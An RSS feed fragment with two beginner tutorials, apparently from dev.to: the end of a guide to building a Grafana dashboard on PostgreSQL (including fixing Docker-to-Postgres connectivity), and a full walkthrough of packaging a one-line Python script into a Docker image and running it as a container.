&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2s0qodl9fei5r3h6ox2r.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2s0qodl9fei5r3h6ox2r.jpg" alt=" " width="800" height="337"&gt;&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Step 5: Create Your First Dashboard
&lt;/h2&gt;

&lt;p&gt;Navigate to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Dashboards
→ New Dashboard
→ Add Visualization
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Select your PostgreSQL data source.&lt;/p&gt;

&lt;p&gt;Switch to &lt;strong&gt;Code Mode&lt;/strong&gt; and execute:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;
    &lt;span class="n"&gt;metric_time&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="nv"&gt;"time"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;cpu_usage&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;system_metrics&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;metric_time&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Click:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Run Query
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Grafana automatically plots the data.&lt;/p&gt;

&lt;p&gt;Screenshot of graph:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frzxajm2hzoso4zfmq2n9.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frzxajm2hzoso4zfmq2n9.jpg" alt=" " width="799" height="368"&gt;&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Common Connection Problem
&lt;/h2&gt;

&lt;p&gt;One of the most common errors is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Network error:
Failed to connect to the server
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;dial tcp:
lookup host.docker.internal:
no such host
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Verify PostgreSQL Settings
&lt;/h3&gt;

&lt;p&gt;Check:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SHOW&lt;/span&gt; &lt;span class="n"&gt;listen_addresses&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;SHOW&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You may see:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;listen_addresses = localhost
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This means PostgreSQL only accepts local connections.&lt;/p&gt;

&lt;p&gt;Grafana running inside Docker cannot reach it.&lt;/p&gt;




&lt;h2&gt;
  
  
  Fix PostgreSQL Connectivity
&lt;/h2&gt;

&lt;p&gt;Locate the configuration file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; postgres psql &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"SHOW config_file;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/etc/postgresql/16/main/postgresql.conf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Modify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;listen_addresses='*'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;Update:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/etc/postgresql/16/main/pg_hba.conf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Add:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;host all all 0.0.0.0/0 scram-sha-256
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Restart PostgreSQL:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl restart postgresql
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;service postgresql restart
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SHOW&lt;/span&gt; &lt;span class="n"&gt;listen_addresses&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Expected:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;*
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Find the Host IP Address
&lt;/h2&gt;

&lt;p&gt;If &lt;code&gt;host.docker.internal&lt;/code&gt; does not work:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;hostname&lt;/span&gt; &lt;span class="nt"&gt;-I&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;172.21.xxx.xxx
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Use that IP address as the Grafana host connection.&lt;/p&gt;




&lt;h2&gt;
  
  
  Grafana vs Prometheus
&lt;/h2&gt;

&lt;p&gt;A common beginner question is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Do I need Prometheus?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The answer depends on your use case.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Prometheus
-----------
Collects Metrics

Grafana
--------
Visualizes Metrics
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Prometheus and Grafana are frequently used together.&lt;/p&gt;




&lt;h2&gt;
  
  
  Grafana + Jenkins
&lt;/h2&gt;

&lt;p&gt;Grafana can also monitor Jenkins pipelines when combined with Prometheus exporters.&lt;/p&gt;




&lt;h2&gt;
  
  
  Learning Path
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Install Grafana
       |
       v
Connect Data Source
       |
       v
Run Queries
       |
       v
Create Dashboard
       |
       v
Create Alerts
       |
       v
Production Monitoring
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;Grafana is one of the most valuable tools in the modern DevOps ecosystem because it turns raw operational data into actionable insights.&lt;/p&gt;

&lt;p&gt;Even with a simple PostgreSQL database and a handful of records, we can create meaningful visualizations and begin understanding trends, performance characteristics, and system behavior.&lt;/p&gt;

&lt;p&gt;In real-world environments, Grafana is often integrated with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Prometheus for metrics collection&lt;/li&gt;
&lt;li&gt;Jenkins for CI/CD monitoring&lt;/li&gt;
&lt;li&gt;Docker and Kubernetes for container monitoring&lt;/li&gt;
&lt;li&gt;Loki for centralized logging&lt;/li&gt;
&lt;li&gt;Cloud platforms such as AWS, Azure, and Google Cloud&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This article focused on the fundamentals using PostgreSQL because it provides an easy way to understand how Grafana connects to a data source and transforms query results into visual dashboards.&lt;/p&gt;

&lt;p&gt;Once you're comfortable with this setup, the next logical steps are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Grafana + Prometheus&lt;/li&gt;
&lt;li&gt;Grafana + Jenkins&lt;/li&gt;
&lt;li&gt;Grafana + Docker Metrics&lt;/li&gt;
&lt;li&gt;Grafana + Kubernetes&lt;/li&gt;
&lt;li&gt;Grafana + Loki&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Those integrations unlock the full power of observability and provide the continuous feedback loop that modern DevOps teams depend on.&lt;/p&gt;

&lt;p&gt;I hope this walkthrough helps you build your first Grafana dashboard and serves as a foundation for deeper monitoring and observability projects.&lt;/p&gt;




</description>
    </item>
    <item>
      <title>Understanding Docker Using a Tiny Python Application (A Beginner-Friendly Walkthrough)</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Sun, 07 Jun 2026 18:46:39 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/understanding-docker-using-a-tiny-python-application-a-beginner-friendly-walkthrough-3232</link>
      <guid>https://dev.to/sanjayghosh/understanding-docker-using-a-tiny-python-application-a-beginner-friendly-walkthrough-3232</guid>
      <description>&lt;p&gt;Many Docker tutorials immediately introduce Docker Compose, Kubernetes, networking, volumes, and multi-container applications.&lt;/p&gt;

&lt;p&gt;For beginners, that can feel overwhelming.&lt;/p&gt;

&lt;p&gt;In this article, we'll build a very small Docker image that runs a simple Python script. The goal is to understand the core Docker concepts before moving on to more advanced containerization topics.&lt;/p&gt;

&lt;p&gt;By the end of this tutorial, you'll understand:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What Docker is&lt;/li&gt;
&lt;li&gt;What a container is&lt;/li&gt;
&lt;li&gt;How Docker images work&lt;/li&gt;
&lt;li&gt;How to build an image&lt;/li&gt;
&lt;li&gt;How to run a container&lt;/li&gt;
&lt;li&gt;The difference between an image and a container&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Why Docker?
&lt;/h2&gt;

&lt;p&gt;One common problem in software development is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"It works on my machine."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;An application may work perfectly on a developer's computer but fail on another machine because of missing libraries, different operating systems, or incompatible software versions.&lt;/p&gt;

&lt;p&gt;Docker solves this problem by packaging:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Application code&lt;/li&gt;
&lt;li&gt;Runtime&lt;/li&gt;
&lt;li&gt;Libraries&lt;/li&gt;
&lt;li&gt;Dependencies&lt;/li&gt;
&lt;li&gt;Configuration&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;into a single portable unit called a container.&lt;/p&gt;

&lt;p&gt;As long as Docker is installed, the application can run consistently across environments.&lt;/p&gt;




&lt;h2&gt;
  
  
  Docker in Simple Terms
&lt;/h2&gt;

&lt;p&gt;A useful analogy is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Docker Image  = Blueprint
Docker Container = House Built From The Blueprint
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An image is a template.&lt;/p&gt;

&lt;p&gt;A container is a running instance created from that image.&lt;/p&gt;

&lt;p&gt;You can create multiple containers from the same image.&lt;/p&gt;




&lt;h2&gt;
  
  
  Installing Docker on Ubuntu
&lt;/h2&gt;

&lt;p&gt;Update package information:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt update
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Install Docker:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;docker.io
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify the installation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;docker run hello-world
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You should see a welcome message from Docker.&lt;/p&gt;




&lt;h2&gt;
  
  
  Running Docker Without sudo
&lt;/h2&gt;

&lt;p&gt;Add your user to the Docker group:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;usermod &lt;span class="nt"&gt;-aG&lt;/span&gt; docker &lt;span class="nv"&gt;$USER&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Log out and log back in.&lt;/p&gt;

&lt;p&gt;Now Docker commands can be executed without &lt;code&gt;sudo&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Environment
&lt;/h2&gt;

&lt;p&gt;The following environment was used:&lt;/p&gt;

&lt;p&gt;Ubuntu 24.04 LTS&lt;br&gt;
Docker 29.1.3&lt;br&gt;
Python 3.x&lt;/p&gt;
&lt;h2&gt;
  
  
  Project Structure
&lt;/h2&gt;

&lt;p&gt;docker-python-app/&lt;br&gt;
│&lt;br&gt;
├── test.py&lt;br&gt;
└── Dockerfile&lt;/p&gt;
&lt;h2&gt;
  
  
  Our Tiny Python Application
&lt;/h2&gt;

&lt;p&gt;Create:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;test.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Contents:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;This is a test&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Normally, the script can be executed using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 test.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we'll run the same application inside a Docker container.&lt;/p&gt;




&lt;h2&gt;
  
  
  Creating a Dockerfile
&lt;/h2&gt;

&lt;p&gt;Create a file named:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Dockerfile
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Contents:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; ubuntu:latest&lt;/span&gt;

&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="s"&gt; /docker-apps&lt;/span&gt;

&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; ./test.py .&lt;/span&gt;

&lt;span class="k"&gt;RUN &lt;/span&gt;apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt &lt;span class="nb"&gt;install &lt;/span&gt;python3 &lt;span class="nt"&gt;-y&lt;/span&gt;

&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="s"&gt; ["python3", "./test.py"]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Docker builds images layer by layer by processing each instruction in the Dockerfile from top to bottom.&lt;/p&gt;

&lt;p&gt;Let's understand each instruction.&lt;/p&gt;

&lt;h3&gt;
  
  
  FROM
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; ubuntu:latest&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Uses Ubuntu as the base image.&lt;/p&gt;

&lt;h3&gt;
  
  
  WORKDIR
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="s"&gt; /docker-apps&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Sets the working directory inside the container.&lt;/p&gt;

&lt;h3&gt;
  
  
  COPY
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; ./test.py .&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Copies the Python script into the container.&lt;/p&gt;

&lt;h3&gt;
  
  
  RUN
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;RUN &lt;/span&gt;apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt &lt;span class="nb"&gt;install &lt;/span&gt;python3 &lt;span class="nt"&gt;-y&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Installs Python inside the image.&lt;/p&gt;

&lt;h3&gt;
  
  
  CMD
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="s"&gt; ["python3", "./test.py"]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Specifies the command executed when the container starts.&lt;/p&gt;




&lt;h2&gt;
  
  
  Building the Docker Image
&lt;/h2&gt;

&lt;p&gt;Build the image:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker build &lt;span class="nt"&gt;-t&lt;/span&gt; ubuntu-python &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Docker reads the Dockerfile and creates an image named:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ubuntu-python
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker images
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You should see the newly created image.&lt;/p&gt;




&lt;h2&gt;
  
  
  Running the Container
&lt;/h2&gt;

&lt;p&gt;Create and start a container:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-it&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;--name&lt;/span&gt; test-container ubuntu-python
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker ps &lt;span class="nt"&gt;-a&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;View container logs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker logs test-container
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Expected output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;This is a test
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Congratulations! You have successfully executed a Python application inside a Docker container.&lt;/p&gt;

&lt;p&gt;Screenshot&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4r898i0u1gml3ha7tbj5.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4r898i0u1gml3ha7tbj5.jpg" alt=" " width="799" height="276"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Docker Workflow
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;test.py
      ↓
Dockerfile
      ↓
docker build
      ↓
Docker Image
      ↓
docker run
      ↓
Docker Container
      ↓
This is a test
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;This same workflow is used for much larger applications.&lt;/p&gt;


&lt;h2&gt;
  
  
  Image vs Container
&lt;/h2&gt;

&lt;p&gt;One of the most important Docker concepts is understanding the difference between an image and a container.&lt;/p&gt;
&lt;h3&gt;
  
  
  Image
&lt;/h3&gt;

&lt;p&gt;An image is:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Read-only&lt;/li&gt;
&lt;li&gt;A template&lt;/li&gt;
&lt;li&gt;Used to create containers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ubuntu-python
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Container
&lt;/h3&gt;

&lt;p&gt;A container is:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Running or stopped&lt;/li&gt;
&lt;li&gt;Created from an image&lt;/li&gt;
&lt;li&gt;The actual execution environment&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;test-container
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A single image can create many containers.&lt;/p&gt;




&lt;h2&gt;
  
  
  Useful Docker Commands
&lt;/h2&gt;

&lt;p&gt;Stop a container:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker stop &amp;lt;container_name_or_id&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Remove a container:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker &lt;span class="nb"&gt;rm&lt;/span&gt; &amp;lt;container_name_or_id&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Force remove a container:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker &lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &amp;lt;container_name_or_id&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Remove all stopped containers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker container prune
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;List images:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker images
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;List containers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker ps &lt;span class="nt"&gt;-a&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  The Most Important Lesson
&lt;/h2&gt;

&lt;p&gt;One of the biggest misconceptions among beginners is that Docker is a virtual machine.&lt;/p&gt;

&lt;p&gt;It is not.&lt;/p&gt;

&lt;p&gt;Containers share the host operating system kernel, making them much lighter and faster than traditional virtual machines.&lt;/p&gt;

&lt;p&gt;Docker packages applications and their dependencies in a portable and isolated way without requiring a full guest operating system.&lt;/p&gt;

&lt;p&gt;Understanding this distinction is one of the key concepts in containerization.&lt;/p&gt;




&lt;p&gt;💡 Key Takeaway&lt;br&gt;
Docker does not replace your application.&lt;/p&gt;

&lt;p&gt;Docker packages your application together with its runtime and dependencies so it can run consistently across different environments.&lt;/p&gt;

&lt;p&gt;Understanding the difference between an image and a container is one of the most important Docker concepts.&lt;/p&gt;

&lt;h2&gt;
  
  
  Future Enhancements
&lt;/h2&gt;

&lt;p&gt;Once comfortable with this example, you can explore:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Docker volumes&lt;/li&gt;
&lt;li&gt;Docker networking&lt;/li&gt;
&lt;li&gt;Docker Compose&lt;/li&gt;
&lt;li&gt;Multi-container applications&lt;/li&gt;
&lt;li&gt;Docker Hub&lt;/li&gt;
&lt;li&gt;Jenkins + Docker integration&lt;/li&gt;
&lt;li&gt;Kubernetes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The concepts learned in this article form the foundation for all of them.&lt;/p&gt;




&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;Docker can seem intimidating when first encountered through large production deployments.&lt;/p&gt;

&lt;p&gt;Starting with a tiny application makes the learning process much easier.&lt;/p&gt;

&lt;p&gt;A simple Python script is enough to understand:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Images&lt;/li&gt;
&lt;li&gt;Containers&lt;/li&gt;
&lt;li&gt;Dockerfiles&lt;/li&gt;
&lt;li&gt;Build process&lt;/li&gt;
&lt;li&gt;Container execution&lt;/li&gt;
&lt;/ul&gt;

